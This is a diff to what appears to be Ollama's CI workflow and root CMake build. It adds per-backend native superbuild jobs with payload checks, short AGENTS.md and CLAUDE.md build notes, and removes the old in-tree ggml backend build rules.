superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_2 -DAMDGPU_TARGETS=gfx1010 -DCMAKE_PREFIX_PATH=/opt/rocm'
|
||||
expected_payload: lib/ollama/rocm_v7_2/libggml-hip.so
|
||||
- preset: Vulkan
|
||||
container: ubuntu:22.04
|
||||
extra-packages: >
|
||||
mesa-vulkan-drivers vulkan-tools
|
||||
libvulkan1 libvulkan-dev
|
||||
vulkan-sdk cmake ccache g++ make
|
||||
vulkan-sdk spirv-headers cmake ccache g++ make
|
||||
superbuild_target: ollama-llama-server-vulkan
|
||||
superbuild_dir: build/local-superbuild-vulkan
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
|
||||
expected_payload: lib/ollama/vulkan/libggml-vulkan.so
|
||||
- preset: 'MLX CUDA 13'
|
||||
container: nvidia/cuda:13.0.0-devel-ubuntu22.04
|
||||
extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
|
||||
superbuild_target: ollama-mlx-cuda_v13
|
||||
superbuild_dir: build/local-superbuild-mlx-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
|
||||
expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
|
||||
install-go: true
|
||||
runs-on: linux
|
||||
container: ${{ matrix.container }}
|
||||
@@ -82,11 +133,9 @@ jobs:
|
||||
echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg] https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
|
||||
$sudo apt-get update
|
||||
fi
|
||||
$sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
|
||||
# MLX requires CMake 3.25+, install from official releases
|
||||
if [ "${{ matrix.preset }}" = "MLX CUDA 13" ]; then
|
||||
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
|
||||
fi
|
||||
$sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
|
||||
# Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
|
||||
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
|
||||
# Export VULKAN_SDK if provided by LunarG package (defensive)
|
||||
if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
|
||||
echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
|
||||
@@ -96,17 +145,30 @@ jobs:
|
||||
- if: matrix.install-go
|
||||
name: Install Go
|
||||
run: |
|
||||
[ -n "${{ matrix.container }}" ] || sudo=sudo
|
||||
GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
|
||||
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
|
||||
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
|
||||
echo "/usr/local/go/bin" >> $GITHUB_PATH
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: /github/home/.cache/ccache
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
|
||||
- run: |
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
|
||||
cmake --build --preset "${{ matrix.preset }}" -- -l $(nproc)
|
||||
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
|
||||
- name: Build native superbuild
|
||||
if: matrix.superbuild_target
|
||||
run: |
|
||||
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
|
||||
CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
|
||||
test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
|
||||
- name: Verify local superbuild install
|
||||
if: matrix.superbuild_target == 'ollama-local'
|
||||
run: |
|
||||
./ollama --version
|
||||
"${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
|
||||
test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
|
||||
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
|
||||
"$RUNNER_TEMP/ollama-local/bin/ollama" --version
|
||||
"$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
|
||||
test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
|
||||
windows:
|
||||
needs: [changes]
|
||||
if: needs.changes.outputs.changed == 'True'
|
||||
@@ -114,9 +176,16 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- preset: CPU
|
||||
superbuild_target: ollama-local
|
||||
superbuild_dir: build\local-superbuild
|
||||
superbuild_args: ''
|
||||
expected_payload: lib\ollama\llama-server.exe
|
||||
- preset: CUDA
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
superbuild_target: ollama-llama-server-cuda_v13
|
||||
superbuild_dir: build\local-superbuild-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
|
||||
expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
@@ -127,14 +196,26 @@ jobs:
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
- preset: ROCm
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
|
||||
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
superbuild_target: ollama-llama-server-rocm_v7_1
|
||||
superbuild_dir: build\local-superbuild-rocm_v7_1
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
|
||||
expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
|
||||
- preset: Vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
superbuild_target: ollama-llama-server-vulkan
|
||||
superbuild_dir: build\local-superbuild-vulkan
|
||||
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
|
||||
expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
|
||||
- preset: 'MLX CUDA 13'
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
|
||||
flags: '-DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
|
||||
superbuild_target: ollama-mlx-cuda_v13
|
||||
superbuild_dir: build\local-superbuild-mlx-cuda_v13
|
||||
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
|
||||
expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
|
||||
install-go: true
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
@@ -203,6 +284,10 @@ jobs:
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: matrix.preset == 'MLX CUDA 13'
|
||||
@@ -232,18 +317,44 @@ jobs:
|
||||
C:\Program Files\NVIDIA\CUDNN
|
||||
key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
|
||||
- uses: actions/checkout@v4
|
||||
- if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: 'go.mod'
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
|
||||
- run: |
|
||||
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
|
||||
- name: Build native superbuild
|
||||
if: matrix.superbuild_target
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
|
||||
cmake --build --preset "${{ matrix.preset }}" -- -l $([Environment]::ProcessorCount)
|
||||
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
|
||||
$env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
|
||||
cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
|
||||
if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
|
||||
throw "missing ${{ matrix.expected_payload }}"
|
||||
}
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
|
||||
- name: Verify local superbuild install
|
||||
if: matrix.superbuild_target == 'ollama-local'
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
& ".\ollama.exe" --version
|
||||
& "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
|
||||
if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
|
||||
throw "missing llama-quantize.exe"
|
||||
}
|
||||
$installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
|
||||
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
|
||||
& "$installPrefix\bin\ollama.exe" --version
|
||||
& "$installPrefix\lib\ollama\llama-server.exe" --version
|
||||
if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
|
||||
throw "missing installed llama-quantize.exe"
|
||||
}
|
||||
go_mod_tidy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
@@ -266,7 +377,9 @@ jobs:
|
||||
go-version-file: 'go.mod'
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
Makefile.sync
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '20'
|
||||
@@ -280,6 +393,17 @@ jobs:
|
||||
if: ${{ startsWith(matrix.os, 'ubuntu') }}
|
||||
working-directory: ./app/ui/app
|
||||
run: npm test
|
||||
- name: Verify MLX generated files are current
|
||||
if: ${{ startsWith(matrix.os, 'ubuntu') }}
|
||||
run: |
|
||||
cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
|
||||
cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
|
||||
git diff --exit-code -- \
|
||||
x/imagegen/mlx/mlx.h \
|
||||
x/imagegen/mlx/mlx.c \
|
||||
x/mlxrunner/mlx/generated.h \
|
||||
x/mlxrunner/mlx/generated.c \
|
||||
x/mlxrunner/mlx/include/mlx/c
|
||||
- name: Run go generate
|
||||
run: go generate ./...
|
||||
|
||||
@@ -294,12 +418,3 @@ jobs:
|
||||
- uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
only-new-issues: true
|
||||
|
||||
patches:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Verify patches apply cleanly and do not change files
|
||||
run: |
|
||||
make -f Makefile.sync clean checkout apply-patches sync
|
||||
git diff --compact-summary --exit-code
|
||||
@@ -0,0 +1,21 @@
|
||||
# AGENTS.md
|
||||
|
||||
## Building
|
||||
|
||||
For a full build from the repository root:
|
||||
|
||||
```sh
|
||||
cmake -B build .
|
||||
cmake --build build --parallel 8
|
||||
./ollama serve
|
||||
```
|
||||
|
||||
For quick Go-only iteration against an existing native payload:
|
||||
|
||||
```sh
|
||||
go build .
|
||||
go run . serve
|
||||
```
|
||||
|
||||
See `docs/development.md` for prerequisites, platform notes, GPU backends, and
|
||||
the full development workflow.
|
||||
@@ -0,0 +1,3 @@
|
||||
# CLAUDE.md
|
||||
|
||||
See `AGENTS.md` for the shared agent instructions for this repository.
|
||||
+21
-332
@@ -1,4 +1,4 @@
|
||||
cmake_minimum_required(VERSION 3.21)
|
||||
cmake_minimum_required(VERSION 3.24)
|
||||
|
||||
project(Ollama C CXX)
|
||||
|
||||
@@ -23,30 +23,23 @@ include(GNUInstallDirs)
|
||||
|
||||
find_package(Threads REQUIRED)
|
||||
|
||||
set(CMAKE_BUILD_TYPE Release)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
|
||||
endif()
|
||||
|
||||
# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
|
||||
if(NOT DEFINED BUILD_SHARED_LIBS)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
endif()
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
|
||||
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
|
||||
|
||||
set(GGML_BUILD ON)
|
||||
set(GGML_SHARED ON)
|
||||
set(GGML_CCACHE ON)
|
||||
set(GGML_BACKEND_DL ON)
|
||||
set(GGML_BACKEND_SHARED ON)
|
||||
set(GGML_SCHED_MAX_COPIES 4)
|
||||
|
||||
set(GGML_LLAMAFILE ON)
|
||||
set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
|
||||
set(GGML_CUDA_GRAPHS ON)
|
||||
set(GGML_CUDA_FA ON)
|
||||
set(GGML_CUDA_COMPRESSION_MODE default)
|
||||
|
||||
if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
|
||||
OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
|
||||
set(GGML_CPU_ALL_VARIANTS ON)
|
||||
endif()
|
||||
# GGML backend for inference is provided by llama-server (built separately via
|
||||
# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
|
||||
# The root CMake project is the orchestration entrypoint; backend-specific
|
||||
# build rules live in subprojects under cmake/.
|
||||
|
||||
if(APPLE)
|
||||
set(CMAKE_BUILD_RPATH "@loader_path")
|
||||
@@ -55,7 +48,8 @@ if(APPLE)
|
||||
endif()
|
||||
|
||||
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
|
||||
set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
|
||||
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
|
||||
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
|
||||
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
@@ -64,314 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
|
||||
# Store ggml include paths for use with target_include_directories later.
|
||||
# We avoid global include_directories() to prevent polluting the include path
|
||||
# for other projects like MLX (whose openblas dependency has its own common.h).
|
||||
set(GGML_INCLUDE_DIRS
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
|
||||
)
|
||||
|
||||
add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
|
||||
|
||||
# Define GGML version variables for shared library SOVERSION
|
||||
# These are required by ggml/src/CMakeLists.txt for proper library versioning
|
||||
set(GGML_VERSION_MAJOR 0)
|
||||
set(GGML_VERSION_MINOR 0)
|
||||
set(GGML_VERSION_PATCH 0)
|
||||
set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
|
||||
|
||||
set(GGML_CPU ON)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
|
||||
set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
|
||||
|
||||
get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
|
||||
if(NOT CPU_VARIANTS)
|
||||
set(CPU_VARIANTS "ggml-cpu")
|
||||
endif()
|
||||
|
||||
# Apply ggml include directories to ggml targets only (not globally)
|
||||
target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
foreach(variant ${CPU_VARIANTS})
|
||||
if(TARGET ${variant})
|
||||
target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
install(TARGETS ggml-base ${CPU_VARIANTS}
|
||||
RUNTIME_DEPENDENCIES
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
|
||||
)
|
||||
|
||||
check_language(CUDA)
|
||||
if(CMAKE_CUDA_COMPILER)
|
||||
if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
|
||||
set(CMAKE_CUDA_ARCHITECTURES "native")
|
||||
endif()
|
||||
|
||||
find_package(CUDAToolkit)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
|
||||
target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
install(TARGETS ggml-cuda
|
||||
RUNTIME_DEPENDENCIES
|
||||
DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
|
||||
PRE_INCLUDE_REGEXES cublas cublasLt cudart
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
|
||||
)
|
||||
endif()
|
||||
|
||||
set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
|
||||
CACHE STRING
|
||||
"Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
|
||||
)
|
||||
|
||||
check_language(HIP)
|
||||
if(CMAKE_HIP_COMPILER)
|
||||
set(HIP_PLATFORM "amd")
|
||||
|
||||
if(NOT AMDGPU_TARGETS)
|
||||
find_package(hip REQUIRED)
|
||||
list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
|
||||
endif()
|
||||
|
||||
if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
|
||||
list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
|
||||
endif()
|
||||
|
||||
if(AMDGPU_TARGETS)
|
||||
find_package(hip REQUIRED)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
|
||||
target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
|
||||
if (WIN32)
|
||||
target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
|
||||
endif()
|
||||
|
||||
target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
|
||||
|
||||
install(TARGETS ggml-hip
|
||||
RUNTIME_DEPENDENCY_SET rocm
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
)
|
||||
install(RUNTIME_DEPENDENCY_SET rocm
|
||||
DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
|
||||
PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
POST_EXCLUDE_REGEXES "system32"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
|
||||
)
|
||||
|
||||
foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
|
||||
if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
|
||||
install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(NOT APPLE)
|
||||
find_package(Vulkan)
|
||||
if(Vulkan_FOUND)
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
|
||||
target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
|
||||
install(TARGETS ggml-vulkan
|
||||
RUNTIME_DEPENDENCIES
|
||||
PRE_INCLUDE_REGEXES vulkan
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
option(MLX_ENGINE "Enable MLX backend" OFF)
|
||||
if(MLX_ENGINE)
|
||||
message(STATUS "Setting up MLX (this takes a while...)")
|
||||
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
|
||||
|
||||
# Find CUDA toolkit if MLX is built with CUDA support
|
||||
find_package(CUDAToolkit)
|
||||
|
||||
# Build list of directories for runtime dependency resolution
|
||||
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
|
||||
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
|
||||
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
|
||||
if(DEFINED ENV{CUDNN_ROOT_DIR})
|
||||
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
|
||||
file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
|
||||
endif()
|
||||
# Add build output directory and MLX dependency build directories
|
||||
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
|
||||
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
|
||||
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
|
||||
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
|
||||
# so there is no runtime dependency. This path covers the stub build dir
|
||||
# for windows so we include the DLL in our dependencies.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
|
||||
|
||||
# Base regexes for runtime dependencies (cross-platform)
|
||||
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
|
||||
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
|
||||
if(WIN32)
|
||||
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
|
||||
endif()
|
||||
|
||||
# Split mlx/mlxc libraries from runtime deps to avoid stripping deps
|
||||
install(TARGETS mlx mlxc
|
||||
RUNTIME_DEPENDENCY_SET mlx_runtime_deps
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
|
||||
DIRECTORIES ${MLX_RUNTIME_DIRS}
|
||||
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
|
||||
)
|
||||
|
||||
if(TARGET jaccl)
|
||||
install(TARGETS jaccl
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
endif()
|
||||
|
||||
# Install the Metal library for macOS arm64 (must be colocated with the binary)
|
||||
# Metal backend is only built for arm64, not x86_64
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install headers for NVRTC JIT compilation at runtime.
|
||||
# MLX's own install rules use the default component so they get skipped by
|
||||
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
|
||||
#
|
||||
# Layout:
|
||||
